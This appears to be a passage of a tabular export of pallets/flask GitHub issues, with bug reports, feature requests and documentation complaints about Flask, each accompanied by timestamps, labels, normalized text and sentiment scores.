",docs,2025-04-14 03:53:08+00:00,2025-08-18 18:47:07+00:00,5,docs,126.6208,recommend warning and safer defaults for url for external true hi flask team we recently analyzed several flask based applications and noticed a recurring security concern related to url for external true when used in untrusted request contexts specifically since it uses request host by default to construct the external url applications that do not explicitly configure server name or sanitize headers can be vulnerable to host header injection to improve developer awareness and reduce misuse we suggest add a warning to the url for documentation about the risk of relying on request host and recommend the use of server name or trusted hosts when generating external urls we d be happy to help draft the relevant documentation or contribute a pull request if this direction aligns with the maintainers goals best regards rui yang and zhengyu liu johns hopkins university,documentation,0.9738
pallets/flask,2982932759,close resources before reload (option --reload),"I have a Flask application that establishes connections to multiple SQLite databases.  When the local development server (werkzeug) is started with option ``--reload`` the connections are not closed on reload, since Python 3.13 this is also logged with a [ResourceWarning](https://docs.python.org/3/whatsnew/3.13.html#sqlite3):

    ResourceWarning: unclosed database in <sqlite3.Connection object at ...>

Since the application (since each thread) establishes various DB connections, the (debug) log is flooded with such warnings during development.

I am aware that the DB connectors can be closed when the context is [torn down](https://flask.palletsprojects.com/en/stable/patterns/sqlite3/), but this is not desired. The DB connections should be open over the entire lifetime of the server (thread).

And the problem is not limited to sqlite3, in general, it would be better to close resources before reloading the modules.

Is there perhaps a hook or another chance with which it would be possible to close open resources?


-----

*I placed it here as a feature-request .. may we better move this issue to werkzeug?*",,2025-04-09 14:00:37+00:00,2025-04-09 15:00:53+00:00,1,nan,0.0419,close resources before reload option reload i have a flask application that establishes connections to multiple sqlite databases when the local development server werkzeug is started with option reload the connections are not closed on reload since python this is also logged with a resourcewarning resourcewarning unclosed database in since the application since each thread establishes various db connections the debug log is flooded with such warnings during development i am aware that the db connectors can be closed when the context is torn down but this is not desired the db connections should be open over the entire lifetime of the server thread and the problem is not limited to sqlite in general it would be better to close resources before reloading the modules is there perhaps a hook or another chance with which it would be possible to close open resources i placed it here as a feature request may we better move this issue to werkzeug,others,0.6517
pallets/flask,2974784657,Reference cycle caused by exception handling,"A reference cycle is introduced by Flask's exception handling mechanism. Specifically, the exception object retains a reference to the stack frame, which in turn holds a reference back to the exception. This creates a reference cycle between the traceback and the exception instance.

This becomes particularly problematic in applications where the garbage collector is disabled (gc.disable()). Even when the GC is enabled, this cycle puts unnecessary pressure on memory management.

The issue originates from the following line in the Flask source code: https://github.com/pallets/flask/blob/9225f8bb28d291b1610c8a58e3233aa6bbdc1808/src/flask/app.py#L1507

The fix is simple: the reference to the exception object should be explicitly released once it is no longer needed.

A minimal reproducible example demonstrating this issue can be found here:
👉 https://github.com/tomasz-pankowski/exception-memory-leak/tree/main

Environment:

- Python version: any
- Flask version: 3.1.0 (earlier ones too)
",,2025-04-06 08:05:19+00:00,2025-04-07 18:00:31+00:00,0,nan,1.4133,reference cycle caused by exception handling a reference cycle is introduced by flask s exception handling mechanism specifically the exception object retains a reference to the stack frame which in turn holds a reference back to the exception this creates a reference cycle between the traceback and the exception instance this becomes particularly problematic in applications where the garbage collector is disabled gc disable even when the gc is enabled this cycle puts unnecessary pressure on memory management the issue originates from the following line in the flask source code the fix is simple the reference to the exception object should be explicitly released once it is no longer needed a minimal reproducible example demonstrating this issue can be found here environment python version any flask version earlier ones too,others,-0.4055
pallets/flask,2963518337,Jija2 security vulnerability,"There is a security vulnerability reported for Jinja2 https://github.com/advisories/GHSA-cpwx-vrp4-4pq7

Solution is to update the Jinja2 version to 3.1.6


Environment:

- Python version: latest
- Flask version: latest
",,2025-04-01 13:49:09+00:00,2025-04-01 13:51:03+00:00,1,nan,0.0013,jija security vulnerability there is a security vulnerability reported for jinja solution is to update the jinja version to environment python version latest flask version latest,others,0.5106
pallets/flask,2931388650,'pkgutil.get_loader' is removed from Python 3.14,"Per What's new in Python 3.14:
> Remove deprecated pkgutil.get_loader() and pkgutil.find_loader(). These had previously raised a DeprecationWarning since Python 3.12. (Contributed by Bénédikt Tran in gh-97850.)

It manifests in flask's tests: 

```
______________ ERROR at setup of test_prefix_package_paths[True] _______________

request = <SubRequest 'limit_loader' for <Function test_prefix_package_paths[True]>>
monkeypatch = <_pytest.monkeypatch.MonkeyPatch object at 0x7f1fe6cb9b70>

    @pytest.fixture(params=(True, False))
    def limit_loader(request, monkeypatch):
        """"""Patch pkgutil.get_loader to give loader without get_filename or archive.
    
        This provides for tests where a system has custom loaders, e.g. Google App
        Engine's HardenedModulesHook, which have neither the `get_filename` method
        nor the `archive` attribute.
    
        This fixture will run the testcase twice, once with and once without the
        limitation/mock.
        """"""
        if not request.param:
            return
    
        class LimitedLoader:
            def __init__(self, loader):
                self.loader = loader
    
            def __getattr__(self, name):
                if name in {""archive"", ""get_filename""}:
                    raise AttributeError(f""Mocking a loader which does not have {name!r}."")
                return getattr(self.loader, name)
    
>       old_get_loader = pkgutil.get_loader
E       AttributeError: module 'pkgutil' has no attribut... [TRUNCATED]",,2025-03-19 11:08:53+00:00,2025-03-29 22:45:22+00:00,4,nan,10.4837,pkgutil get loader is removed from python per what s new in python remove deprecated pkgutil get loader and pkgutil find loader these had previously raised a deprecationwarning since python contributed by b n dikt tran in gh it manifests in flask s tests error at setup of test prefix package paths true request monkeypatch pytest fixture params true false def limit loader request monkeypatch patch pkgutil get loader to give loader without get filename or archive this provides for tests where a system has custom loaders e g google app engine s hardenedmoduleshook which have neither the method nor the attribute this fixture will run the testcase twice once with and once without the limitation mock if not request param return class limitedloader def init self loader self loader loader def getattr self name if name in archive get filename raise attributeerror f mocking a loader which does not have name r return getattr self loader name old get loader pkgutil get loader e attributeerror module pkgutil has no attribut truncated,others,0.2311
pallets/flask,2904905724,flask.__init__.__getattr__ can hide typing errors,"admittedly this is a bit of an edge case -- but perhaps if the `__getattr__` pattern is implemented next time for deprecations this can be taken into consideration!

I have an unfortunately-named bit in my webapp called ""flash"" and I've used flask for years and my fingers tend to typo one as the other.

I had a file like this (simplified!):

```python
import flask

flask.FlashMessage
```

which is obviously wrong -- flask doesn't have a `FlashMessage`!  but it was passing mypy due to `def __getattr__(name: str) -> t.Any:` in `__init__.py`

it _might_ be better to guard that behind a `if not t.TYPE_CHECKING: ...` block such that mypy doesn't pick that up and lead to misleading results

not a big deal though and I see that the `__getattr__`  is already removed in mainline

another idea would be to use `@overload` on `__getattr__` such that it only allows the particular Literals? but it looks like mypy doesn't even support that so nevermind! https://github.com/python/mypy/issues/8203#issuecomment-1670344931


Environment:

- Python version: 3.13.1
- Flask version: 3.1.0
",,2025-03-08 16:56:50+00:00,2025-03-29 22:28:33+00:00,3,nan,21.2304,flask init getattr can hide typing errors admittedly this is a bit of an edge case but perhaps if the pattern is implemented next time for deprecations this can be taken into consideration i have an unfortunately named bit in my webapp called flash and i ve used flask for years and my fingers tend to typo one as the other i had a file like this simplified which is obviously wrong flask doesn t have a but it was passing mypy due to in it might be better to guard that behind a block such that mypy doesn t pick that up and lead to misleading results not a big deal though and i see that the is already removed in mainline another idea would be to use on such that it only allows the particular literals but it looks like mypy doesn t even support that so nevermind environment python version flask version,bug,-0.4215
pallets/flask,2893981206,Is flask still being maintained?,"Is flask still being maintained, I see the git was updated 2 month back, can I still use flask for my new project?",,2025-03-04 11:47:03+00:00,2025-03-04 12:07:01+00:00,2,nan,0.0139,is flask still being maintained is flask still being maintained i see the git was updated month back can i still use flask for my new project,others,0.0
pallets/flask,2889352385,Error using sample code in favicon documentation,"The code sample gives the assert `view_func is not None, ""expected view func if endpoint is not provided.""`.

Documentation in question: https://flask.palletsprojects.com/en/stable/patterns/favicon/

Sample code in question:
```
app.add_url_rule('/favicon.ico',
                 redirect_to=url_for('static', filename='favicon.ico'))
```",docs,2025-03-02 06:04:51+00:00,2025-03-29 22:32:36+00:00,1,docs,27.6859,error using sample code in favicon documentation the code sample gives the assert documentation in question sample code in question,bug,-0.4588
pallets/flask,2889340570,Inaccurate documentation for adding a favicon redirect,"The code sample in the existing documentation on how to redirect a favicon request assumes that add_url_rule takes a parameter named redirect_to. It does not.

Documentation in question: https://flask.palletsprojects.com/en/stable/patterns/favicon/

Sample code in question:
```
app.add_url_rule('/favicon.ico',
                 redirect_to=url_for('static', filename='favicon.ico'))
```",,2025-03-02 05:29:12+00:00,2025-03-02 05:32:32+00:00,3,nan,0.0023,inaccurate documentation for adding a favicon redirect the code sample in the existing documentation on how to redirect a favicon request assumes that add url rule takes a parameter named redirect to it does not documentation in question sample code in question,documentation,0.0
pallets/flask,2859813656,How to solve,"```python
response = {
        ""status"": ""ok"",
        ""message"": ""Success"",
        ""response"": url
    }
    return jsonify(response)
```

In this getting output like this 

```json
{""message"": ""success"", ""response"": url, ""status"": ""old""}
```

How to solve that getting incorrect output

I need this like

```
{
        ""status"": ""ok"",
        ""message"": ""Success"",
        ""response"": url
    }
```

How to solve ",,2025-02-18 09:21:49+00:00,2025-02-18 09:28:00+00:00,1,nan,0.0043,how to solve in this getting output like this how to solve that getting incorrect output i need this like how to solve,help,0.8126
pallets/flask,2839542482,Admin endpoint seems to be reserved,"```python
@app.route(""/admin/<password>/<int:page>"", methods=[""GET""])
def admin(password: str, page: int = 1) -> Any:
    print(page)
    files, total = [], 2
    return render_template(""admin.html"", files=files, password=password, total=total)
```

This fails when page is 1,2,3 or 8.

At least. it might fail in more cases.

If page is 4 or 5, 9,  etc, it works.

By works I mean, it uses the actual argument instead of the default: 1

I'm guessing the admin endpoint is being reserved in some way, but should it?

If I replace 'admin' to 'pok' for example:

`@app.route(""/pok/<password>/<int:page>"", methods=[""GET""])`

Then it works as expected.


Environment:

- Python version: 3.13.1
- Flask version: 3.1.0",,2025-02-08 04:41:55+00:00,2025-02-08 05:02:48+00:00,2,nan,0.0145,admin endpoint seems to be reserved this fails when page is or at least it might fail in more cases if page is or etc it works by works i mean it uses the actual argument instead of the default i m guessing the admin endpoint is being reserved in some way but should it if i replace admin to pok for example then it works as expected environment python version flask version,others,-0.596
pallets/flask,2814791757,Custom commands not listed,"When I run the `flask` command by itself I get help output with all of my custom commands listed. But when I run `flask --help` I get the help output with only the built-in flask commands (`routes`, `run`, `shell`). I am using the `FLASK_APP` environment variable to load the app.

I would think I should get the same help output (showing my custom commands) whether or not I add the `--help` parameter?

Environment:

- Python 3.12.2
- Flask 3.1.0",cli,2025-01-28 06:57:24+00:00,2025-03-29 22:15:26+00:00,7,cli,60.6375,custom commands not listed when i run the command by itself i get help output with all of my custom commands listed but when i run i get the help output with only the built in flask commands i am using the environment variable to load the app i would think i should get the same help output showing my custom commands whether or not i add the parameter environment python flask,others,0.8381
pallets/flask,2783017466,"int route converters are actually uint, but not documented as such","In #2643, a user noted that flask routes with an `int` converter only accepts unsigned integers.

I'll summarize a few different opinions and options in that thread:
1. a user can create their own converter that accepts unsigned integers, or modifies the existing converter (but only on their codebase). An example code snippet was provided in the issue.
2. The user's report could be treated as a bug in the `int` converter, so the fix would be to modify the flask `int` converter to accept the other ~50% of legitimate integers. Assumptions were made about which part of the integer space most people would use. Concerns were raised about how users may be relying on this bug, and that it should not be fixed for fear of breaking said users.
3. The user's report could be treated as a bug in the documentation, so a presumed fix would be to amend [the documentation](https://flask.palletsprojects.com/en/stable/api/#url-route-registrations) which currently states ""The following converters are available: [...] `int`: accepts integers""; it could be changed to ""`int`: accepts _unsigned_ integers"".

My expectation would have been that either option 2 or 3 would be selected, but instead it appears that the issue was locked to further comment and no further action was taken. So, the documentation is still at odds with the behavior of flask vs the math and computer science definition of integer. I'm not wedded to either solution, but would the pallets team be open to implementing a fix i... [TRUNCATED]",,2025-01-13 04:57:35+00:00,2025-01-13 07:22:53+00:00,2,nan,0.1009,int route converters are actually uint but not documented as such in a user noted that flask routes with an converter only accepts unsigned integers i ll summarize a few different opinions and options in that thread a user can create their own converter that accepts unsigned integers or modifies the existing converter but only on their codebase an example code snippet was provided in the issue the user s report could be treated as a bug in the converter so the fix would be to modify the flask converter to accept the other of legitimate integers assumptions were made about which part of the integer space most people would use concerns were raised about how users may be relying on this bug and that it should not be fixed for fear of breaking said users the user s report could be treated as a bug in the documentation so a presumed fix would be to amend the documentation which currently states the following converters are available accepts integers it could be changed to accepts unsigned integers my expectation would have been that either option or would be selected but instead it appears that the issue was locked to further comment and no further action was taken so the documentation is still at odds with the behavior of flask vs the math and computer science definition of integer i m not wedded to either solution but would the pallets team be open to implementing a fix i truncated,documentation,0.8934
pallets/flask,2780334619,ok,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2025-01-10 14:36:15+00:00,2025-01-10 14:48:44+00:00,0,nan,0.0087,ok replace this comment with a description of what the feature should do include details such as links to relevant specs or previous discussions replace this comment with an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension,others,-0.1779
pallets/flask,2779636063,Consider supporting HOT reload with `hmr`?,"Hot Module Replacement has been existed in JavaScript ecosystem for a long time, but Python web applications are still using full reloads by default.

To solve this situation, I implemented the `hmr` package, which does the fine-grained dependency tracking, on-demand reloading jobs. Here is a demo of what the results look like:

https://github.com/user-attachments/assets/7937d1c2-ed41-4f38-be18-9cc29b9961a1

Obviously the `a.py` runs everytime in `flask run --reload` but reloads only when needed in `hmr app.py`. But everything else works fine (at least for this small demo)

You may say that user should use lazy imports and cache expensive calculations themselves, but in fact not every function can be cached, and lazy imports may lead to ugly code style. This can be solved with on-demand hot reloading without overhead. So I believe this is the future.

Although this is just a minimal demo, but I value hmr's potential in the Python ecosystem, and believe that with our efforts this is a reachable goal.

> [!TIP]
> You can try the example above [here](https://github.com/promplate/hmr/tree/readme/examples/flask) with `hmr app.py`

---

About `hmr`, you can refer to its [README](https://github.com/promplate/hmr) for details.
",,2025-01-10 08:58:37+00:00,2025-01-10 09:02:03+00:00,3,nan,0.0024,consider supporting hot reload with hot module replacement has been existed in javascript ecosystem for a long time but python web applications are still using full reloads by default to solve this situation i implemented the package which does the fine grained dependency tracking on demand reloading jobs here is a demo of what the results look like obviously the runs everytime in but reloads only when needed in but everything else works fine at least for this small demo you may say that user should use lazy imports and cache expensive calculations themselves but in fact not every function can be cached and lazy imports may lead to ugly code style this can be solved with on demand hot reloading without overhead so i believe this is the future although this is just a minimal demo but i value hmr s potential in the python ecosystem and believe that with our efforts this is a reachable goal tip you can try the example above here with about you can refer to its readme for details,help,0.2732
pallets/flask,2768023460,intersphinx broken for flask.Flask.cli,"https://flask.palletsprojects.com/en/stable/api/#flask.Flask.cli has a type of `Group`, but it doesn't link to further docs.",,2025-01-03 18:51:42+00:00,2025-01-08 21:04:29+00:00,2,nan,5.0922,intersphinx broken for flask flask cli has a type of but it doesn t link to further docs,others,-0.2617
pallets/flask,2762231352,Containerization,Hello  team I am planning to containerized the entire flask framework using docker so whenever user needs to work on the project they can able to run entire framework just by running docker container so can i work on this feature. ,,2024-12-29 12:29:29+00:00,2024-12-29 13:19:44+00:00,3,nan,0.0349,containerization hello team i am planning to containerized the entire flask framework using docker so whenever user needs to work on the project they can able to run entire framework just by running docker container so can i work on this feature,others,0.0
pallets/flask,2761768824,Design Enhancement,"Hello team, planning to develop flask documentation with web interface with great and clean UI, also trying to make the concept more simple and understandable can you assign me this task.",,2024-12-28 15:14:44+00:00,2024-12-28 15:36:53+00:00,1,nan,0.0154,design enhancement hello team planning to develop flask documentation with web interface with great and clean ui also trying to make the concept more simple and understandable can you assign me this task,feature,0.7783
pallets/flask,2735080519,app.run(debug=True)，会导致flask_sqlalchemy错误!,"开启debug模式后，debug=Ture的时候，flask_sqlalchemy的with self.app.app_context()会重复执行。
例如我写入一条数据 {user:""123"",name:""youname""}, 在debug模式下 with self.app.app_context() 会执行完写入完毕后，会重新执行一次，导致程序退出，提示重复写入！
我以为是我代码问题，我检查了无数次，都无法找到我代码问题，最后关闭debug模式后，就可以正常使用。

复现办法：
app.py:
app.run(debug=True)

model.py：
pass

userdb.py:
        with self.app.app_context():
            new_user = userdbmodel(userdb)(user='11eee',
                                           name=input(""input"")
                                           )
            userdb.session.add(new_user)
            userdb.session.commit()

会出现两次input输入，之后会提示重复后程序停止。





目前只要把app.run(debug=True)改为app.run(debug=False)，例如：
app.py:
app.run(debug=False)
就只会执行一次，不会报错。",,2024-12-12 07:26:31+00:00,2024-12-12 15:52:07+00:00,0,nan,0.3511,app run debug true flask sqlalchemy debug debug ture flask sqlalchemy with self app app context user name youname debug with self app app context debug app py app run debug true model py pass userdb py with self app app context new user userdbmodel userdb user eee name input input userdb session add new user userdb session commit input app run debug true app run debug false app py app run debug false,bug,0.8625
pallets/flask,2733402466,Mypy error when accessing flask.request.json,"I use mypy to validate my project, I upgraded from flask 2 to flask 3 and now I see plenty of errors when I try to access the json property or flask.request

I just have a top level

import flask

Then:

j = flask.request.json  # ""Request"" has no attribute ""json""

Mypy: ""Request"" has no attribute ""json"" [attr-defined]

Environment:

- Python version: 3.13.0
- Flask version: 3.1.0
",,2024-12-11 16:15:26+00:00,2024-12-11 17:15:31+00:00,2,nan,0.0417,mypy error when accessing flask request json i use mypy to validate my project i upgraded from flask to flask and now i see plenty of errors when i try to access the json property or flask request i just have a top level import flask then j flask request json request has no attribute json mypy request has no attribute json attr defined environment python version flask version,bug,-0.6705
pallets/flask,2730832359,Flash message with Markup fails,"Upgrading my platform from Python 3.8 + Flask 3.0.3 +  Flask-Session 0.8.0 with redis backend, to Python 3.11 + Flask 3.1.0 +  Flask-Session 0.8.0 with redis backend. Same user code.

Issue: fancy flash message breaks on the new platform (work fine on the old platform).

Flash message:
`flash(Markup('press the play button <i class=""bi-play-btn-fill black""></i> below'), 'info')`

Error:
```
[2024-12-10 19:01:28,998] ERROR in base: Failed to serialize session data: Encoding objects of type Markup is unsupported
[2024-12-10 19:01:28,998] ERROR in app: Exception on / [POST]
Traceback (most recent call last):
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 1511, in wsgi_app
    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 920, in full_dispatch_request
    return self.finalize_request(rv)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 941, in finalize_request
    response = self.process_response(response)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 1322, in process_response
    self.session_interface.save_session(self, ctx.session, response)
  File ""/var/www/lib/python3.11/site-packages/flask_session/base.py"", line 305, in save_session
    self._upsert_session(app.permanent_session_lifetime, session, store_id)
  F... [TRUNCATED]",,2024-12-10 18:08:02+00:00,2024-12-10 18:38:05+00:00,1,nan,0.0209,flash message with markup fails upgrading my platform from python flask flask session with redis backend to python flask flask session with redis backend same user code issue fancy flash message breaks on the new platform work fine on the old platform flash message error error in base failed to serialize session data encoding objects of type markup is unsupported error in app exception on post traceback most recent call last file var www lib python site packages flask app py line in wsgi app response self full dispatch request file var www lib python site packages flask app py line in full dispatch request return self finalize request rv file var www lib python site packages flask app py line in finalize request response self process response response file var www lib python site packages flask app py line in process response self session interface save session self ctx session response file var www lib python site packages flask session base py line in save session self upsert session app permanent session lifetime session store id f truncated,others,-0.8625
pallets/flask,2720210660,flask==2.2.4 incompatible with werkzeug==3.1.3,"I use flask==2.2.4 for my project and when I install flask, it pulls **any** werkzeug>=2.2.2 (which is the default behaviour). After [werkzeug==3.1.3](https://pypi.org/project/Werkzeug/3.1.3/) got released on 8 Nov, 2024, flask pulls the latest version of it. With this new version of werkzeug, while executing unit tests, I get an error saying `module 'werkzeug' has no attribute '__version__'`

**A small example to reproduce the issue:**
(myenv) root@6426d8424cca:~# python3
Python 3.9.16 (main, Sep  2 2024, 12:46:28) 
[GCC 10.2.1 20210110] on linux
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
 **"">>> from flask import Flask
 "">>> app = Flask(__name__)
 "">>> my_test_client = app.test_client()
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""/root/myenv/lib/python3.9/site-packages/flask/app.py"", line 1252, in test_client
    return cls(  # type: ignore
  File ""/root/myenv/lib/python3.9/site-packages/flask/testing.py"", line 116, in __init__
    ""HTTP_USER_AGENT"": f""werkzeug/{werkzeug.__version__}"",
**AttributeError: module 'werkzeug' has no attribute '__version__'****


I shouldn't be seeing any error like above.

Environment:

- Python version: 3.9.16
- Flask version: 2.2.4
",,2024-12-05 11:56:45+00:00,2024-12-05 14:50:24+00:00,1,nan,0.1206,flask incompatible with werkzeug i use flask for my project and when i install flask it pulls any werkzeug which is the default behaviour after werkzeug got released on nov flask pulls the latest version of it with this new version of werkzeug while executing unit tests i get an error saying a small example to reproduce the issue myenv root d cca python python main sep gcc on linux type help copyright credits or license for more information from flask import flask app flask name my test client app test client traceback most recent call last file line in file root myenv lib python site packages flask app py line in test client return cls type ignore file root myenv lib python site packages flask testing py line in init http user agent f werkzeug werkzeug version attributeerror module werkzeug has no attribute version i shouldn t be seeing any error like above environment python version flask version,others,-0.4588
pallets/flask,2674397711,Remove unnecessary whitespace in slice notation to align with PEP 8 and Black standards,"File: flask/src/flask/cli.py
Line: 701

The return statement in the _path_is_ancestor function can be updated to improve readability and align with PEP 8 and Black formatting standards for slice notation. Currently, there is unnecessary whitespace around the colon (:) in the slice, which is inconsistent with these guidelines.

Current Code:
```return os.path.join(path, other[len(path) :].lstrip(os.sep)) == other```

Suggested Change:
Remove the unnecessary whitespace around the colon (:) in the slice notation to improve readability:
```return os.path.join(path, other[len(path):].lstrip(os.sep)) == other```

This change ensures compliance with PEP 8 and Black standards, contributing to cleaner and more consistent formatting across the codebase.",,2024-11-20 04:56:02+00:00,2024-11-20 07:21:22+00:00,1,nan,0.1009,remove unnecessary whitespace in slice notation to align with pep and black standards file flask src flask cli py line the return statement in the path is ancestor function can be updated to improve readability and align with pep and black formatting standards for slice notation currently there is unnecessary whitespace around the colon in the slice which is inconsistent with these guidelines current code suggested change remove the unnecessary whitespace around the colon in the slice notation to improve readability this change ensures compliance with pep and black standards contributing to cleaner and more consistent formatting across the codebase,others,0.7579
pallets/flask,2671983595,Type hint for FlaskCliRunner.invoke is not specific,"The type hint of the return type of `FlaskCliRunner.invoke` ist `typing.Any` but should use `click.testing.Result`. This leads to missing auto completions in the IDE as well as errors from the type checker if not additional type narrowing is done.

The Problem is here: https://github.com/pallets/flask/blob/main/src/flask/testing.py#L276

To fix this `Result` must be imported from `click.testing` and used as a return type annotation.

The documentation already specifies `click.testing.Result` as return type.

Environment:

- Python version: 3.12.2
- Flask version: 3.1.0 but is also present in current main branch.
",typing,2024-11-19 12:14:20+00:00,2024-11-24 01:53:05+00:00,1,typing,4.5686,type hint for flaskclirunner invoke is not specific the type hint of the return type of ist but should use this leads to missing auto completions in the ide as well as errors from the type checker if not additional type narrowing is done the problem is here to fix this must be imported from and used as a return type annotation the documentation already specifies as return type environment python version flask version but is also present in current main branch,others,-0.5499
pallets/flask,2658613605,PROVIDE_AUTOMATIC_OPTIONS causes KeyError if not set,"https://github.com/pallets/flask/blob/bc098406af9537aacc436cb2ea777fbc9ff4c5aa/src/flask/sansio/app.py#L641C12-L641C86

Simply changing this to : `self.config.get(""PROVIDE_AUTOMATIC_OPTIONS"", False)` should resolve the problem.

This change now released is causing upstream trouble in other packages such as Quart:
https://github.com/pallets/quart/issues/371

",,2024-11-14 12:01:51+00:00,2024-11-14 15:25:04+00:00,3,nan,0.1411,provide automatic options causes keyerror if not set simply changing this to should resolve the problem this change now released is causing upstream trouble in other packages such as quart,bug,-0.4404
pallets/flask,2656053281,merge app and request contexts into a single context,"Right now we have two separate contexts managed separately, the app and request contexts. This makes the implementation pretty complicated, as we need to maintain two context var stacks, and do a bunch of checks in the request context to make sure we're managing the correct app context. It makes an already confusing topic more complicated to explain: app context is active for requests and cli commands, don't push an app context before making a request, etc.

I think merging the two contexts could be possible. The single context (`ExecutionContext`?) would have the `g`, `request`, and `session` attributes, but accessing `request` or `session` when not in a request would raise an error.",,2024-11-13 16:28:05+00:00,2025-09-19 23:45:28+00:00,7,nan,310.3037,merge app and request contexts into a single context right now we have two separate contexts managed separately the app and request contexts this makes the implementation pretty complicated as we need to maintain two context var stacks and do a bunch of checks in the request context to make sure we re managing the correct app context it makes an already confusing topic more complicated to explain app context is active for requests and cli commands don t push an app context before making a request etc i think merging the two contexts could be possible the single context would have the and attributes but accessing or when not in a request would raise an error,feature,-0.2144
pallets/flask,2653862892,configure and check `request.trusted_hosts`,"If `request.trusted_hosts` is set, it will be checked when accessing `request.host`/`url`/etc. Add `TRUSTED_HOSTS` config, and check it during routing.",,2024-11-13 01:49:21+00:00,2024-11-13 05:03:24+00:00,2,nan,0.1348,configure and check if is set it will be checked when accessing etc add config and check it during routing,feature,0.0
pallets/flask,2638774385,dotenv file arg should take precedence over default dotenv files,"As pointed out in #5532, `-e file` is loaded after the default `.env` and `.flaskenv` files, which means it won't override env vars that are set by the defaults. It will be a little tricky to track during CLI startup, but I think it should be possible to fix this so that precedence is: `os.environ` > `-e path` > `.env` > `.flaskenv`.",cli,2024-11-06 17:34:15+00:00,2024-11-07 19:56:28+00:00,0,cli,1.0988,dotenv file arg should take precedence over default dotenv files as pointed out in is loaded after the default and files which means it won t override env vars that are set by the defaults it will be a little tricky to track during cli startup but i think it should be possible to fix this so that precedence is,others,0.6648
pallets/flask,2627748915,extend config for Request form memory settings,"Werkzeug provides three settings on `Request` to control form parsing: `max_content_length`, `max_form_memory_size`, and `max_form_parts`. Only `max_content_length` is exposed as a Flask config right now, and the way it's implemented means it can only be set for the whole application, not per-request. Fix all that. Document these in the security page as well as the config page.",,2024-10-31 20:19:45+00:00,2024-11-01 20:21:37+00:00,0,nan,1.0013,extend config for request form memory settings werkzeug provides three settings on to control form parsing and only is exposed as a flask config right now and the way it s implemented means it can only be set for the whole application not per request fix all that document these in the security page as well as the config page,feature,0.4195
pallets/flask,2614169547,Rotating secret keys,"I'd like to have a couple of secret keys available, like so
```
app.secret_keys = [
   'key-1',
   'key-2',
]
```
To allow them to rotate.

I've seen this issue which seems to have auto-closed
https://github.com/pallets/flask/issues/1574

It seems like itsdangerous now supports this
https://github.com/pallets/itsdangerous/pull/141

This would allow secret keys to be rotated regularly without sessions being invalidated.
",,2024-10-25 13:50:09+00:00,2024-11-08 16:16:05+00:00,3,nan,14.1013,rotating secret keys i d like to have a couple of secret keys available like so to allow them to rotate i ve seen this issue which seems to have auto closed it seems like itsdangerous now supports this this would allow secret keys to be rotated regularly without sessions being invalidated,others,0.9073
pallets/flask,2530533986,Error: No such command 'db'.,"
[OJ.zip](https://github.com/user-attachments/files/17025798/OJ.zip)
```
(onlinejudge_env) kimi@KimideMacBook-Air OJ % flask db init

Error: While importing 'run', an ImportError was raised:

Traceback (most recent call last):
  File ""/Users/kimi/OJ/onlinejudge_env/lib/python3.9/site-packages/flask/cli.py"", line 218, in locate_app
    __import__(module_name)
  File ""/Users/kimi/OJ/run.py"", line 3, in <module>
    app = create_app()
  File ""/Users/kimi/OJ/app/__init__.py"", line 25, in create_app
    from app.auth import auth as auth_blueprint
  File ""/Users/kimi/OJ/app/auth.py"", line 6, in <module>
    from werkzeug.urls import url_parse
ImportError: cannot import name 'url_parse' from 'werkzeug.urls' (/Users/kimi/OJ/onlinejudge_env/lib/python3.9/site-packages/werkzeug/urls.py)


Usage: flask [OPTIONS] COMMAND [ARGS]...
Try 'flask --help' for help.

Error: No such command 'db'.
(onlinejudge_env) kimi@KimideMacBook-Air OJ % 
```",,2024-09-17 09:17:38+00:00,2024-09-17 14:01:20+00:00,0,nan,0.197,error no such command db oj zip,bug,-0.6369
pallets/flask,2498668655,Allow choice of reloader type,"I know it was closed in #5007, but would it be possible to reconsider this? I'm having a lot of trouble with `watchdog` despite following all the fixes proposed  such as #2603. The reloader constantly detects spurious file changes, whereas I've never experienced such issues with `stat`. If you really dislike the idea of a new flag, maybe an environment variable would be an option?

Thanks a lot for the work on this awesome package!",,2024-08-31 06:26:15+00:00,2024-09-01 19:11:29+00:00,1,nan,1.5314,allow choice of reloader type i know it was closed in but would it be possible to reconsider this i m having a lot of trouble with despite following all the fixes proposed such as the reloader constantly detects spurious file changes whereas i ve never experienced such issues with if you really dislike the idea of a new flag maybe an environment variable would be an option thanks a lot for the work on this awesome package,others,0.693
pallets/flask,2479400772,`Config` `type: ignore` causing downstream error reports,"The `# type: ignore` in the code here https://github.com/pallets/flask/blob/8a6cdf1e2a5efa81c30f6166602064ceefb0a35b/src/flask/config.py#L50
is causing type errors to be reported in user code with pyright strict settings.

```python
from flask import Flask


Flask(""x"").config.update({""A"": ""3""})  # 'Type of ""update"" is partially unknown - reportUnknownMemberType'
```

Based on other typing in the same class, it looks like it could be:
```python
class Config(dict[str, t.Any]):
```


Environment:

- Python version: 3.12
- Flask version: 3.0.3
",,2024-08-21 23:08:00+00:00,2024-08-22 00:09:57+00:00,3,nan,0.043,causing downstream error reports the in the code here is causing type errors to be reported in user code with pyright strict settings based on other typing in the same class it looks like it could be environment python version flask version,bug,-0.4404
pallets/flask,2478493333,Test failures in tutorial with python3.12,"The tests runned with `pytest` works with python3.11 and not in 3.12:

How to reproduce:
```
git clone git@github.com:pallets/flask.git
cd flask/examples/tutorial
python3.11 -m venv venv3.11
python3.12 -m venv venv3.12
# install dependencies
# setup db
```
In both cases, the webservice runs properly with `./venv3.1x/bin/flask --app flaskr run --debug`.

However, running the tests show different results. In `venv3.11`, the 24 tests are green. In `venv3.12` virtualenv, there is 6 failures (and 18 green). The failures are due to a `DeprecationWarning` which becomes an error:
```
DeprecationWarning: The default timestamp converter is deprecated as of Python 3.12; see the sqlite3 documentation for suggested replacement recipes
```

The full output is provided at the end of the bug report.

